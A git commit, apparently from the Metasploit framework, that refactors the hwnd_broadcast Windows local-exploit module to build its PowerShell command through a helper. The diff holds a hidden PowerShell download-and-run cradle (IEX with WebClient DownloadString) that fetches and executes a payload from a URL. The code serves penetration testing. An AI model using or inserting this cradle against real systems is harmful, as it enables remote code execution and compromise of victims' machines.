Update hwnd_broadcast to use generated powershell command line.

bug/bundler_fix
Meatballs 2013-11-22 23:04:44 +00:00
parent c5007f67ab
commit 9835649858
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 5 additions and 1 deletions

View File

@ -171,7 +171,11 @@ class Metasploit3 < Msf::Exploit::Local
def primer
url = get_uri()
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
command = "powershell.exe -w hidden -nop -c #{download_and_run}"
command = generate_psh_command_line({
:noprofile => true,
:windowstyle => 'hidden',
:command => download_and_run
})
make_it(command)
end